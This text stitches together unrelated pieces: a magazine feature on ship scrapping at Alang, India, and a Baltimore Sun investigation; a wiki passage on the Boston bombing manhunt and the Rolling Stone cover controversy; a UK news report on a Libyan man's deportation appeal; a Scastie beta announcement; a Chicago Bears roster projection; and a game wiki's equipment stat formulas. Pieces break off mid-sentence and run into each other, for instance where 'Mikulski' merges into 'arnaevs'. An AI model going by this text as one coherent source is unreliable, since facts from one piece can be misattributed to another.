revealing the individual plots, each demarcated by little flags or other markers stuck into the sand, and heavily cluttered with cut metal and nautical debris. The yards looked nearly the same, except for their little offices, usually just inside the gates. The most marginal yards could afford only flimsy shacks or open-sided shelters. The more successful yards had invested in more solid structures, some of concrete, with raised verandahs and overhead fans. The workers lived just across the frontage road, in a narrow shantytown with no sanitation, and for the most part with no power. The shantytown did not have a name of its own. It stretched for several miles through the middle of Alang, and had a small central business section, with a few small grocery stalls and stand-up cafés. It was dusty, tough, and crowded. Unemployment there was high. The residents were almost exclusively men, migrants from the distant states of Orissa and Uttar Pradesh. They toiled under shipyard supervisors, typically from their home states or villages, who dispensed the jobs, generally in return for a cut from the workers' already meager pay. The workers chose to work nonetheless, because the alternatives were worse. In the morning light now, they emerged from their shacks by the thousands and moved across the frontage road like an army of the poor. They trudged through the yards' open gates, donned hard hats, picked up crowbars and sledgehammers, and lit crude cutting torches. By eight o'clock, the official start of the workday, they had sparks showering from all the ships nearby, and new black smoke rising into the distance along the shore. ALANG is a wonder of the world. It may be a necessity, too. When ships grow old and expensive to run, after about twenty-five years of use, their owners do not pay to dispose of them but, rather, the opposite -- they sell them on the international scrap market, where a typical vessel like the Pioneer may bring a million dollars for the weight of its steel. Selling old ships for scrap is considered to be a basic financial requirement by the shipping industry -- a business that has long suffered from small profits and cutthroat competition. No one denies that what happens afterward is a dangerous and polluting process. Shipbreaking was performed with cranes and heavy equipment at salvage docks by the big shipyards of the United States and Europe until the 1970s, when labor costs and environmental regulations drove most of the business to the docksides of Korea and Taiwan. Eventually, however, even these entrepreneurial countries started losing interest in the business and gradually decided they had better uses for their shipyards. This meant that the world's shipbreaking business was again up for grabs. In the 1980s enterprising businessmen in India, Bangladesh, and Pakistan seized the initiative with a simple, transforming idea: to break a ship they did not need expensive docks and tools; they could just wreck the thing -- drive the ship up onto a beach as they might a fishing boat, and tear it apart by hand. The scrap metal to be had from such an operation could be profitably sold, because of the growing need in South Asia for low-grade steel, primarily in the form of ribbed reinforcing rods (re-bars) to be used in the construction of concrete walls. These rods, which are generally of a poor quality, could be locally produced from the ships' hull plating by small-scale "re-rolling mills," of which there were soon perhaps a hundred in the vicinity of Alang alone. From start to finish the chain of transactions depended on the extent of the poverty in South Asia. There was a vast and fast-growing population of people living close to starvation, who would work hard for a dollar or two a day, keep the unions out, and accept injuries and deaths without complaint. Neither they nor the government authorities would dream of making an issue of labor or environmental conditions. The South Asian industry took about a decade to mature. In 1983 Gujarat State proclaimed Alang its shipbreaking site, when it was still a pristine shore known only to a few fishermen, without even a dirt road leading to it. Twenty-two shipbreakers leased plots and disposed of five small ships that year. The following year they disposed of fifty-one. The boom began in the early 1990s, as the richer countries of East Asia continued to withdraw from the business. Today roughly 90 percent of the world's annual crop of 700 condemned ships now end their lives on the beaches of Pakistan, India, and Bangladesh -- and fully half of them die at Alang. With few exceptions, the breakers are not high-born or educated men. They are shrewd traders who have fought their way up, and in some cases have grown rich, but have never lost the poor man's feeling of vulnerability. They have good reason to feel insecure. Even with the most modest of labor costs, shipbreaking is a marginal business that uses borrowed money and generates slim profits. The risk of failure for even the most experienced breakers is real. Some go under every year. For their workers the risks are worse: falls, fires, explosions, and exposure to a variety of poisons from fuel oil, lubricants, paints, wiring, insulation, and cargo slop. Many workers are killed every year. Nonetheless, by local standards the industry has been a success. Even the lowliest laborers are proud of what they do at Alang. There is no ship too big to be torn apart this way. More important, the economic effects are substantial -- Alang and the industries that have sprung from it provide a livelihood, however meager, for perhaps as many as a million Indians. Imagine, therefore, their confusion and anger that among an even greater number of rich and powerful foreigners, primarily in Northern Europe, Alang has also become a rallying cry for reform -- a name now synonymous with Western complicity and Third World hell. CAPTAIN Pandey by daylight was less in control than he had seemed at night. He appeared tired, even fragile. We stood on the beach among the immense steel carcasses. I brought up the subject of the international campaign, led by Greenpeace in Amsterdam, to reform the process of ship scrapping worldwide. Although global in theory, the campaign in practice is directed mostly against the biggest operation -- the beach here at Alang. I had been told that Pandey took the campaign as a personal attack -- and indeed, at the mention of Greenpeace he struggled visibly to maintain his composure. His face grew tight and angry. He spoke emphatically, as if to keep from raising his voice. Very clearly he said, "The purposeful propaganda against this yard should be countered. You come and look at the facts, and I'm proud of what I have done over here. So there is nothing to hide." He sounded secretive anyway. He implied that a cabal of shadowy forces was conspiring against Alang, and that the real purpose of the environmentalists' campaign was to take the shipbreaking business away from India. He said, "I can show them ten thousand other places outside India, point them out, which are in even worse condition than this. Why should they talk about my country alone?" Pandey had given his squadron of uniformed guards strict orders to turn away any foreigners trying to enter the yards through the main gate. But determined foreigners kept slipping in anyway. They worked for environmental and human-rights groups and took photographs of black smoke and red fire, and of emaciated workers covered in oil -- strong images that, Pandey felt, did not represent a balanced view of Alang. The moral superiority implied by these missions was galling to many Indians, especially here on the sacred ground of Gujarat, the birth state of Mahatma Gandhi. Recently Greenpeace activists had painted slogans on the side of a condemned ship. Pandey must have taken a special pleasure in running that ship aground. He was a complex man. He claimed to know that he couldn't have it both ways, that he couldn't invite the world's ships to Alang and at the same time expect to keep the world out. Yet he insisted on trying. After the sun rose, he took me to his office, because he wanted to stop me from wandering through the yards, and then he escorted me away from Alang entirely, because he wanted to make sure I was gone. I did not mention that I had already been at Alang for more than a week, or that I knew a side road to the site and intended to return. Shipbreaking, American Style THE controversy over Alang started on the other side of the world and a few years back, in Baltimore, Maryland, along the ghostly industrial shoreline of the city's outer harbor, where old highway signs warn motorists about heavy smoke that no longer pours from the stacks. Early in 1996 a Baltimore Sun reporter named Will Englund was out on the water when he noticed a strange sight -- the giant aircraft carrier Coral Sea lying partially dismantled beside a dock, "in a million pieces." Englund looked into the situation and discovered that the Coral Sea was a waterfront fiasco of bankruptcy, lawsuits, worker injuries, toxic spills, and outright criminality. Of particular interest to Baltimore, where thousands of shipyard workers had been disabled by asbestos, was evidence of wholesale exposure once again to that dangerous dust. The U.S. Navy, which still owned the hull, was guilty, it seemed, at least of poor oversight. Englund's first report ran as a front-page story in April of 1996. The Sun's chief editor, John Carroll, then decided to go after the subject in full. He brought in his star investigative reporter, Gary Cohn, a quick-witted man who had the sort of street smarts that could complement Englund's more cerebral style. The two reporters worked on the story for more than a year. Their investigation centered on the United States, where shipbreaking had become a nearly impossible business, for the simple reason that the cost of scrapping a ship correctly was higher than the value of its steel. The only reason any remnant of the domestic industry still existed was that since 1994 all government-owned ships -- demilitarized Navy warships and also decrepit merchant vessels culled from the nation's mothballed "reserve fleet" by the U.S. Maritime Administration -- had been kept out of the overseas scrap market as a result of an Environmental Protection Agency ban against the export of polychlorinated biphenyls, the hazardous compounds known as PCBs, which were used in ships' electrical and hydraulic systems. In practice, the export ban did not apply to the much larger number of U.S.-flagged commercial vessels, which were (and are still) exported freely for overseas salvage. Hoping somehow to make the economics work, American scrappers bought the government ships (or the scrapping rights) at giveaway prices, tore into them as expediently as possible, and in most cases went broke anyway. As a result of these defaults, the Defense Department was forced to repossess many of the vessels that it had awarded to U.S. contractors. Conditions in the remaining yards were universally abysmal. The problems existed nationwide -- in California, Texas, North Carolina, and, of course, Maryland. Englund and Cohn were surprised by the lack of previous reporting, and they were fascinated by the intensity of the individual stories -- of death or injury in hot, black holds, of environmental damage, and of repeated lawbreaking and cover-ups. Cohn especially was used to working in the underbelly of society, but not even he had imagined that abuses on such a scale could still exist in the United States. Later I asked him if he had been motivated by anger or moral outrage. He mulled over the question. "I don't know that it was so much anger. I think we discovered a lot of things that were wrong and needed correcting. But I wouldn't say that we walked around angry all the time." Nonetheless the subject became their obsession. At the same time that Cohn and Englund were investigating the story, the Navy and the Maritime Administration, faced with a growing backlog of rotting hulls, were pressuring the EPA to lift its export ban. They wanted the freedom to sell government ships for a profit on the South Asian scrap market. Englund and Cohn realized that their investigation required a visit to the place where many of these ships would end up if the ban were lifted -- a faraway beach called Alang. The Sun hired an Indian stringer to help with logistics, enlisted a photographer, and in February of 1997 sent the team to India. Alang was still an innocent place: the reporters were free to go where they pleased, to take pictures openly, and to pay no mind to Captain Pandey. The reporters were shocked by what they saw -- to them Alang was mostly a place of death. And they were not entirely wrong. Soon after they left Alang, sparks from a cutting torch ignited the residual gases in a tanker's hold and caused an explosion that killed fifteen workers -- or fifty. Alang was the kind of place where people hardly bothered to count. The Sun's shipbreaking report hit the newsstands for three days in December of 1997. It concentrated first on the Navy's failures inside the United States and then on Alang. A little storm broke out in Washington. The Maryland senator Barbara A. Mikulski promptly pronounced herself "appalled" and requested a Senate investigation into the Navy's conduct. She called simultaneously for the EPA's export ban to stay in place and for an overhaul of the domestic program to address the labor and environmental issues brought up by the Sun articles. Though Mikulski spoke in stern moral terms, what she apparently also had in mind was the creation of a new Baltimore jobs program -- involving the clean, safe, and therefore expensive disposal of ships, to be funded in some way by the federal government. The Navy had been embarrassed by the Sun's report, and was in no position to counter Mikulski's attack. It answered weakly that it welcomed discussions "to ensure [that] the complex process of ship disposal is conducted in an environmentally sound manner and in a way that protects the health and safety of workers." Mikulski |
arnaevs became momentarily distracted in the process of refueling the car at a cash-only gas station. Dun Meng,[74] who originally did not give his name to the media but said he goes by the name "Danny," said he fled to another nearby gas station and contacted the police. Police were then able to track the location of the car through the man's cellphone and the SUV's anti-theft tracking device.[75] When police found the stolen SUV and a Honda being driven by the brothers in the early hours of April 19, the suspects engaged in a shootout with police in Watertown. During the gunfight, in which bombs were thrown at responding officers, Dzhokhar Tsarnaev was wounded while Tamerlan was shot a number of times before being apprehended. Police say that Dzhokhar escaped by driving the stolen SUV toward the officers who were arresting his brother. Although the officers managed to avoid being hit, Tsarnaev drove over Tamerlan, dragging him under the SUV about 30 feet (9 m) in the process (Tamerlan would later die at a nearby hospital). Tsarnaev reportedly sped off, but abandoned the car about 1⁄ 2 mile (800 m) away and then fled on foot.[76] An unprecedented manhunt ensued involving thousands of police officers from several nearby towns as well as state police and FBI, and SWAT teams, who searched numerous homes and property inside a 10-block perimeter. Warrants were not issued, but residents reported they were told they must allow the searches to go forward. Many reported being instructed to leave their homes as well. Images of squad cars and large black armored vehicles crowding the sidestreets, and videos of residents being led out of their homes at gunpoint soon flooded social media. The Boston metro area was effectively shut down all day on April 19.[77] After Tsarnaev's name was published in connection with the bombings, his uncle Ruslan Tsarni, who lives in Montgomery Village, Maryland, pleaded with Tsarnaev through television to turn himself in "and ask for forgiveness", and said that he had shamed the family and the Chechen ethnicity.[78]
Arrest and detention Edit
Rolling Stone magazine Edit
Rolling Stone Image of Tsarnaev on the cover of Tsarnaev was the subject of a cover story for an August 2013 issue of Rolling Stone entitled "The Bomber: How a Popular, Promising Student Was Failed by His Family, Fell into Radical Islam and Became a Monster." The magazine drew large amounts of criticism for the flattering photo of Tsarnaev used for the issue's cover. Boston Mayor Tom Menino wrote that the cover "rewards a terrorist with celebrity treatment." Massachusetts State Police sergeant Sean Murphy stated that "glamorizing the face of terror is not just insulting to the family members of those killed in the line of duty, it also could be an incentive to those who may be unstable to do something to get their face on the cover of Rolling Stone magazine".[103] The New York Times used the same photo on their front page in May 2013,[104] but did not draw criticism. Rolling Stone columnist Matt Taibbi criticized those who took offense at the cover, arguing that their offense-taking was the result of their associating Rolling Stone with glamor instead of news,[105] stating that The New York Times did not draw the criticism that Rolling Stone did, "because everyone knows the Times is a news organization. Not everyone knows that about Rolling Stone… because many people out there understandably do not know that Rolling Stone is also a hard-news publication."[105] The editors of Rolling Stone posted the following response: Our hearts go out to the victims of the Boston Marathon bombing, and our thoughts are always with them and their families. The cover story we are publishing this week falls within the traditions of journalism and Rolling Stone's long-standing commitment to serious and thoughtful coverage of the most important political and cultural issues of our day. The fact that Dzhokhar Tsarnaev is young, and in the same age group as many of our readers, makes it all the more important for us to examine the complexities of this issue and gain a more complete understanding of how a tragedy like this happens. –THE EDITORS[106] Hours after this happened, many retailers that sold the magazine, such as CVS Pharmacy,[107] BJ's Wholesale Club (which additionally announced it will no longer sell any future Rolling Stone issues),[108] and others, announced that they would no longer sell the issue.[109] In December 2013, the Rolling Stone Tsarnaev cover was named the "Hottest Cover Of The Year" by Adweek magazine, with newsstand sales doubling from 60,000 to 120,000.[110][111] The photo on the cover was taken by Tsarnaev himself, not a professional studio photographer.[112]
Legal proceedings Edit
See also Edit
Notes EditA foreign criminal who has been convicted of more than 70 offences has been allowed to remain in Britain because he is an alcoholic.
In what is believed to be the first case of its kind, the Libyan man successfully argued that he would face physical punishment and imprisonment in his homeland, where alcohol consumption is illegal.
The man, who was granted anonymity by the courts and can only be identified by the initials ‘HU’, was said by the upper immigration tribunal to have “behaved disgracefully”.
It means the 53-year-old will be free to continue his alcohol-fuelled crime wave in Britain because the punishment he would face in Libya would be too severe, and because he has a “right to family life” in this country.
Tripoli, Libya
The judge recognised that the appeal – which was vigorously opposed by the Home Office - was an “unusual case”.
But he added that it was not possible to simply “take the high moral ground” and suggest that HU should give up drinking.
HU first came to Britain to study aeronautical engineering in 1981 and has been here ever since, apart from a short period in Libya from August 1993 to October 1994, the court heard.
He was convicted of 78 different offences on 52 different occasions, the court added, although it failed to provide any details of the types of crime he committed.
The offences were committed “largely and possibly exclusively as a consequence of his alcoholism”.
The Home Office sent HU five letters warning him that his behaviour put him at risk of deportation.
He was finally served with notification of a deportation order in July 2008, which he appealed against and won on the grounds that it would breach his human rights.
He continued to offend and in a new deportation order was issued in January 2013.
• Record number of foreign criminals cannot be deported
• Hungarian killer driver wins right to stay in Britain
HU applied to quash the order on the grounds that it breached Article 3 of the European Convention on Human Rights which protects against torture and ill-treatment and Article 8, the right to private and family life.
The lower immigration court allowed his case but the Home Office appealed against the decision and it was heard by the upper tribunal of the Immigration and Asylum Chamber.
Belal Ballali, a British-Libyan researcher, told judges that “commercially produced alcohol is widely available in Tripoli” and “cheaply made ‘moonshine’ is readily available … outside the capital”, according to court papers.
However, drinking alcohol is an offence which carries a custodial sentence in the country, he added.
“Under the rule of militia the usual routine for a person found drinking was arrest, possible whipping and detention for a few days,” said the court papers.
“Mr Ballali thought there was a chance of virtually permanent detention in the case of an habitual drunk.”
The Home Office argued HU could avoid trouble in his home country by abstaining from alcohol.
But Upper Tribunal Judge Jonathan Perkins said: “The fact is the claimant has had many years of trying to deal with alcohol dependency and recognises that he cannot.
“It is very easy for a person not addicted to a substance to take the high moral ground and pontificate about how easy it is for the addict to alter his lifestyle but is clearly is not easy.
“If it were easy there would not be so many alcoholics, smokers and overweight people.
“The claimant’s history is addiction is such that he cannot abstain from consuming alcohol when alcohol is available.”
Judge Perkins ruled returning HU to Libya would “expose him to a risk of ill-treatment” and “interfere disproportionately with his private and family life”, and dismissed the Home Office’s appeal.
Dominic Raab who is contesting Esher and Walton for the Conservative party and who, as an MP in the last parliament, campaigned for human rights reform, said: “This case highlights the increasingly-elastic approach to human rights taken by the immigration tribunal, which undermines public protection and erodes democratic accountability.
“Only a Conservative government will reform these skewed human rights laws, and restore some common sense."
The Home Office is understood to be appealing the decision to the Court of Appeal.The Scala Center team is happy to announce the Beta of Scastie.
Aleh Aleshka (OlegYch) is the original author of this project. His goal was to create a collaborative debugging tool where you can share and reproduce bugs. The Scala Center has extended Scastie to become an interactive environment for the community.
What can I do with Scastie?
Scastie can run any Scala program with any library in your browser. You don’t need to download or install anything.
We run your code in an isolated Java Virtual Machine on our servers. We allow you to specify the scala version, add libraries and much more. By default, we instrument your code to provide a REPL like environment. You can also format your code with scala-fmt. We integrated a scaladex interface to allow you to search the Scala ecosystem and include any published Scala library in your project. You don’t need to remember the latest version of a specific library anymore!
Let’s see it in action.
In this example, we use scrimage, which is a simple image library. We download an image, apply a sepia filter and serve both images back to the browser.
How does Scastie work?
When a user evaluates their code, the browser sends all its input to our server. Based on the configuration, it will forward the evaluation to an sbt instance. The output will be streamed back to the user. A specific protocol will allow the client to interpret different events such as compiler errors, runtime exceptions, instrumentation, console output, etc.
Using sbt behind the scenes makes it possible for us to support a large range of platforms (Scalac, Dotty, Scala.js, Scala-Native and Typelevel’s Scala). In our beta, we’ve included support for any version of Scalac as well as all published versions of Dotty. Support for other platforms, such as Scala.js or Scala Native is forthcoming. Basing Scastie on sbt allows us to support newer Scala versions and resolve libraries dependencies.
We also enable a worksheet mode, which feels much like a worksheet in an IDE. This lets a user write code as top-level expressions, without having to put code inside of a class or object with a main method. Worksheet mode gives you two ways to interleave your results; on the one hand, when an expression is evaluated, you can see the value and type of the evaluated expression to the right of the code that you wrote. On the other hand, worksheet mode also makes it possible to do a kind of literate programming; that is, you may interleave code and HTML blocks much like in notebook environments like iPython notebooks.
What’s next?
Improve the sharing model. For example, we could use a similar approach as gist or JS Fiddle where you can fork and edit code snippets.
Support Scala.js and Scala-Native. Vote on which one you’d like to see first! (Vote for Scala.js or vote for Scala Native)
Make it possible to embed Scastie in your project’s documentation.
Want to try it?
Since Scastie is a new project, we want to work out the kinks with it before everyone jumps on it and starts using it. In particular, the UI is currently a bit rough, and we’re working on catching bugs in the general usage of Scastie.
For that reason, we’re opening up Scastie to a handful of beta users. Do you want to help us work out the kinks with Scastie? If so, head over to https://scastie.scala-lang.org to join the beta. We’ll gradually be adding more users, so if you don’t get immediate access, just hang on for a day or so and we’ll ping you to let you know when you can try out Scastie.
And remember, please give us feedback! Let us know what is confusing, if something doesn’t work as expected, or if there’s anything you think we can improve! There are links in Scastie back to our Gitter channels and GitHub issue tracker.
Talk to us!
Thoughts or opinions about Scastie? Join us over on Scala Contributors to contribute to the discussion.The Bears will wrap up the preseason Thursday night at Soldier Field against the Browns and then quickly start trimming down their roster from 88 to 53. With better depth on display in the preseason, that means they’ll have tougher decisions to make this weekend at Halas Hall. Here’s a stab at the possible 53-man roster to kick off this week’s 10 Bears Things:
1. We’ll start by breaking down the offensive depth chart:
Quarterback (3)
In: Mike Glennon, Mark Sanchez, Mitch Trubisky
Out: Connor Shaw
Not only does Sanchez have value in helping develop both Glennon and Trubisky, but he’s also not a bad backup. The Bears had three significant quarterback injuries last year and I’ll be surprised if they only keep two to start the season.
Running back (4)
In: Jordan Howard, Tarik Cohen, Jeremy Langford, Benny Cunningham
Out: Josh Rounds
Injured Reserve: Ka’Deem Carey
Given that Cohen will be used as a “joker” back and figures to play a lot with Jordan Howard, I expect the Bears to keep four running backs. Jeremy Langford still can be an effective “primary” backup, but since he’s been banged up for most of the preseason, Cunningham should be kept for added depth. Cunningham is also a reliable veteran/leader-type with special teams value. As for Carey, he figures to miss at least the first four games of the season after wrist surgery and could be a good “IR-to-return” candidate in the middle of the season for added depth.
Wide Receiver (6)
In: Kevin White, Markus Wheaton, Kendall Wright, Josh Bellamy, Victor Cruz, Tanner Gentry
Out: Titus Davis, Deonte Thompson, Daniel Braverman, Alton Howard
Injured Reserve: Cameron Meredith, Rueben Randle
This is by far the most complexing position for the Bears, especially in the aftermath of Meredith’s torn ACL. I view Kevin White, Markus Wheaton and Kendall Wright as locks and I feel pretty good about Josh Bellamy making it as a valued special teamer even though he has missed a couple of weeks with an ankle injury. As for Gentry, I’m not sure what else he has to do to prove he belongs. He’s made big plays in both practices and the games. I just don’t see how the Bears could cut a guy like that given the weakness of the position. So that’s five wide receivers who make it, but given Bellamy’s status as a special teamer and Wheaton’s uncertainty (broken pinky), I think the Bears have to keep six wideouts going into Week 1. So I’ll be honest: I’m completely guessing between Victor Cruz, Titus Davis and Deonte Thompson. For now, I’m going with Cruz because the Bears value his presence in the room and he’s the only true slot guy behind Wright, who might have to play outside in Week 1. Davis has flashed (and is only 24) and Thompson would be a loss in the return game, but Tarik Cohen, Eddie Jackson and Benny Cunningham are on the roster too.
Tight End (4)
In: Zach Miller, Dion Sims, Adam Shaheen, Daniel Brown
Out: Ben Braunecker, MyCole Pruitt
To me, this really comes down to Brown vs Braunecker and I think Brown has the edge both blocking and receiving.
Offensive Line (9)
In: Charles Leno, Kyle Long, Cody Whitehair, Josh Sitton, Bobby Massie, Bradley Sowell, Tom Compton, Hroniss Grasu, Jordan Morgan
Out: William Poehls, Cyril Richardson, Taylor Boggs, Mitchell Kirsch, Brandon Greene, Dieugot Joseph
I won’t be surprised if Poehls ends up making it, but Sowell seems like the logical swing tackle and Compton has more versatility. Grasu is a pretty good backup center to have (capable of starting) and Morgan should make it as a draft pick, although he’ll probably be frequently inactive on game day.
2. Now let’s take a look at the defense:
Defensive Line (6)
In: Akiem Hicks, Eddie Goldman, Jaye Howard, Jonathan Bullard, Mitch Unrein, Roy Robertson-Harris
Out: John Jenkins, C.J. Wilson, Rashaad Coward
The versatility of Akiem Hicks allows the Bears to keep Goldman as their only true nose tackle. Vic Fangio likes to line his linemen up all over the place and keep the offensive line guessing. This group will be able to do that at a high level. Even Roy Robertson-Harris lined up over the Titans’ center on Sunday and bulldozed him straight backward. Some might consider Mitch Unrein expendable, but John Fox loves him and he had a great first preseason game before missing the last two games with a concussion.
Outside linebacker (4)
In: Leonard Floyd, Willie Young, Lamarr Houston, Sam Acho
Out: Dan Skuta
PUP: Pernell McPhee
I’m not sure McPhee needs to start the season on PUP (which would force him to miss the first six games), but why not save him for later in the season? Floyd is going to be on the field a ton and Willie Young projects as the other starter. When Lamarr Houston isn’t jumping offsides, he’s looked pretty good coming off another torn ACL. I imagine either Acho or Skuta will be let go and Skuta suffered a concussion in Sunday’s game. He’s a Vic Fangio guy, but he’s also 31 with an injury history.
Inside linebacker (4)
In: Jerrell Freeman, Danny Trevathan, Nick Kwiatkoski, Christian Jones
Out: John Timu, Jonathan Anderson, Kelvin Sheppard, Isaiah Irving
If Trevathan is ready to go for the season, I can see the Bears only keeping four inside linebackers, with Timu being the last man out. Remember, Jones can play both inside and outside linebacker and he’s had a good preseason. The Bears kept five inside linebackers at the start of the 2016 season, but Kwiatkoski wasn’t as proven and had missed most of the preseason with a hamstring injury. Remember, Jonathan Anderson is dealing with a high ankle sprain.
Cornerback (6)
In: Prince Amukamara, Marcus Cooper, Kyle Fuller, Cre’Von LeBlanc, Bryce Callahan, Sherrick McManis
Out: B.W. Webb, Johnthan Banks, Rashaad Reynolds
Injuries and the presence of Pro Bowl alternate Sherrick Manis (as a special teamer) will force this group to run deep. Kyle Fuller’s spot seems safe both because he has played well and because Prince Amukamara is dealing with a sprained ankle. My guess is the Bears would lean towards Bryce Callahan over Cre’Von LeBlanc in the slot, but Callahan always seems to battling minor injuries. That tells me they will keep both.
Safety (4)
In: Quintin Demps, Eddie Jackson, Adrian Amos, Deiondre’ Hall
Out: Harold Jones-Quartey, Deon Bush, DeAndre Houston-Carson, Chris Prosinski
The Bears are going to have to make some tough calls at safety where none of their 2016 draft picks (Hall, Bush and Houston-Carson) have stood out in the preseason. Of those three, I would keep Hall, who has size and length you can’t teach and versatility between corner and safety. The last safety spot could be one of the few spots up for grabs in the Bears’ final preseason game.
3. And the third phase:
Specialists (3)
In: Pat O’Donnell, Connor Barth, Jeff Overbaugh
Out: Roberto Aguayo
Barth has been perfect since the Bears brought Aguayo in and it would be very surprising if the veteran doesn’t stick as the Bears kicker. That said, there still might be one more lifeline for Aguayo (more on that in Thing No. 5.)
4. Keep in mind that this 53-man roster projection will almost certainly be wrong. That’s because it will probably include at least one player from another team’s roster, which I can’t pull out of thin air as I write this. The Bears hold the third-waiver priority and chances are they will take advantage of that with at least one claim.
5. Roberto Aguayo still has practice squad eligibility. Now, he would have to clear waivers before the Bears could add him to the practice squad, but is any team really going claim Aguayo right before the season starts and trust him to be their kicker? It was different when the Bears did it with a 90-man roster and could carry two kickers. Remember, if Aguayo clears waivers, the Bears are still on the hook for his $428,000 guaranteed and if they still think they can straighten him out and make him the longterm kicker, why not stash him on the practice squad if you are paying him anyway? One reason: the practice squad actually does serve the purpose of, you know, practicing. So Aguayo would be taking up a spot that would otherwise go to someone helping on the scout team each week. Still, if Aguayo clears waivers and the Bears still think they can fix him, this seems like a viable option. Plus, it would keep the pressure on Barth, who seemingly can’t miss with Aguayo around.
6. Someone might need to tie Akiem Hicks to the bench Thursday night. On Sunday in Nashville, he played like a man determined to get a big contract. He was simply the best player on the field, lining up inside, outside and even in a two-point stance as a seven-technique. It didn’t matter if it was the center, guard or tackle, he put them all on skates. Still only 27-years-old, it would be wise for the Bears to lock him up before the season starts.
7. With Mitch Trubisky starting Thursday night’s game, I thought I would bring back this tweet from April:
That time Mitch Trubisky threw 4 touchdowns on one last-minute drive: pic.twitter.com/fzkVMhjOe8 — Adam Hoge (@AdamHoge) April 28, 2017
Bears general manager Ryan Pace was in attendance for that game and there’s no doubt that Sun Bowl performance played a big part in the GM’s conviction on Trubisky.
8. Did you happen to notice the subtle television changes during FOX’s national broadcast of Sunday’s Bears game? For one, there were less commercial breaks. Commissioner Roger Goodell is determined to improve the fans’ television viewing experience and that begins this year by cutting out the very annoying touchdown-break-kickoff-break again sequence that seemingly put 6-7 minutes of dead time into the game. There will still be breaks after touchdowns, but there will not be a break after the ensuing kickoff. Basically there will be four breaks per quarter, although those breaks will now be longer (going from 1:50 to 2:20) to make up for the lost spots.
Technically these changes were supposed to happen during all of the preseason games, but a league source said many of the team-run local broadcasts didn’t follow the new protocol. That’s why you still saw more commercial breaks during the first two preseason games. NFL officials were actually on hand at both the Bears-Titans game and Vikings-49ers game Sunday to make sure the new commercial break format was executed properly on the national broadcasts.
9. Just three random NFL predictions as the season is already a week away:
A. Jay Cutler won’t play in a playoff game this season. While I think it’s a great fit for him in Miami and I believe he’ll have a good year, the Dolphins schedule is tough. Not only do they have road games at Atlanta, New England, Baltimore, Carolina and Kansas City, but the easiest stretch of their schedule (against the Chargers, Jets and Saints) comes with three road trips to Los Angeles, New York and London in back-to-back-to-back weeks. They don’t even get a bye week after their London trip, instead facing the Titans in Miami and the Falcons on the road the following two weeks. Ouch.
B. Jared Goff will start living up to expectations in Los Angeles. I thought he got a raw deal as a rookie and I love the pairing with Sean McVay. My evaluations of the top two quarterbacks in the 2016 class hasn’t changed: I had Goff ranked just slightly ahead of Carson Wentz, but predicted Wentz would play earlier with Goff having the better longterm ceiling. I think we’ll start to see Goff develop in McVay’s offense this year.
C. The Bears will beat the Vikings twice this season. Here’s why: the Vikings offensive line still looks bad and the Bears’ front-seven looks dominant. It’s just not a good matchup for Minnesota. The Week 5 Monday night game at Soldier Field could play out very similar as last year’s Halloween Monday nighter when the Bears’ made the Vikings’ offensive line look silly all night. Of course, the key to this prediction is staying healthy as the two teams meet in Minneapolis in Week 17 again. Last year, the defense was so beat up by Week 17 that they had no chance in the rematch.
10. It’s hard to argue with this Tweet about J.J. Watt:
NFL season hasn't even started & we already know who the Walter Payton NFL Man of the Year is. https://t.co/cDYDRHVVHQ — Bill Jones (@CBS11BillJones) August 29, 2017
I’ll never forget the way Bret Bielema talked about J.J. Watt before the 2009 season at Wisconsin. At that point, very few people had ever heard of Watt, who sat out the 2008 season after transferring from Central Michigan where he played tight end. Here’s this kid who had a scholarship at Central Michigan and gave it up to walk-on at Wisconsin. With practices closed to the media, we couldn’t see Watt’s dominance on the scout team as he sat out the 2008 season, but Bielema couldn’t help but rave about it, both privately and publicly. But it wasn’t just Watt’s talent that drew positive reviews, it was his work-ethic, his ability to lead and his desire to give back.
Nothing that Watt has done on or off the field has surprised me since he left Wisconsin. Not even raising over $8.5 million (and counting) for Hurricane Harvey relief efforts. If you’d like to help, you can donate here.
Well done, J.J.
Adam Hoge covers the Chicago Bears for WGN Radio and WGNRadio.com. He also co-hosts The Beat, weekends on 720 WGN. Follow him on Twitter at @AdamHoge.Contents show]
Introduction
Weaponry
Accuracy
$ \Bigl\lfloor 2.5 \times (\frac{tier^3}{1250} + 4t + 40) \Bigr\rfloor $
Damage
Fastest Fast Average Mainhand $ 9.6\times {tier} $ $ 12.25\times {tier} $ $ 14.9\times {tier} $ Off-hand $ 4.8\times {tier} $ $ 6.125\times {tier} $ $ 7.45\times {tier} $ 2H $ 14.4\times {tier} $ $ 18.375\times {tier} $ $ 22.35\times {tier} $ Shieldbow $ 5.3\times {tier} $ Shortbow $ 8.775\times {tier} $ 2H Crossbow $ 12.75\times {tier} $ Ammo $ 9.6\times {tier} $
Armour
The formulae for calculating Armour bonus are derived from a base defensive value:
$ \mbox{Base} = \frac{\mbox{tier}^3}{500} + (10 \times \mbox{tier}) + 100 $
Using this base, the Armour bonus of each equipment slot is as follows:
Head: $ 0.2 \times \mbox{Base} $
Body: $ 0.23 \times \mbox{Base} $
Legs: $ 0.22 \times \mbox{Base} $
Boots: $ 0.05 \times \mbox{Base} $
Gloves: $ 0.05 \times \mbox{Base} $
Shield: $ 0.2 \times \mbox{Base} $
Power and Hybrid gear have lower defensive bonuses than their Tank variants:
PvP armours are essentially Tank-Power armour.
Armour type Armour bonus Tank Base Power -5 tiers Hybrid -15 tiers
Weaponry
94 92 90 88 87 85 82 80 78 77 76 75 72 71 70 65 62 60 55 53 52 50 48 45 43 42 40 35 33 30 28 25 23 20 16 15 12 10 8 6 5 2 1 Mage 2H DW MH OH Ranged Bolts 2H DW MH OH Ammo Arrows Ammo Bow Shieldbow Thrown 2H DW MH OH Melee Stab 2H DW MH OH Slash 2H Claws MH OH Longswords MH OH Scimitars MH OH Battleaxes MH OH Other DW MH OH Crush 2H Maces MH OH Warhammers MH OH Other DW MH OH 94 92 90 88 87 85 82 80 78 77 76 75 72 71 70 65 62 60 55 53 52 50 48 45 43 42 40 35 33 30 28 25 23 20 16 15 12 10 8 6 5 2 1
Armour
Styled
90 85 83 80 75 73 70 65 60 58 55 53 52 50 48 45 43 42 40 38 30 28 25 23 20 18 10 8 7 6 5 3 1 Tank Head Torso Legs Boots Gloves Shield Power Head Torso Legs Boots Gloves Defenders
Hybrid
100 85 80 75 70 67 65 60 57 55 52 50 45 42 40 35 32 30 25 21 20 17 15 Head Torso Legs Boots Gloves Shield
Capes
Style Bonus
Style All Style Bonus 43 31 28 26 21 19.1 17 15 14 13 9 7.8 4 3 1 0.6
Armour Bonus
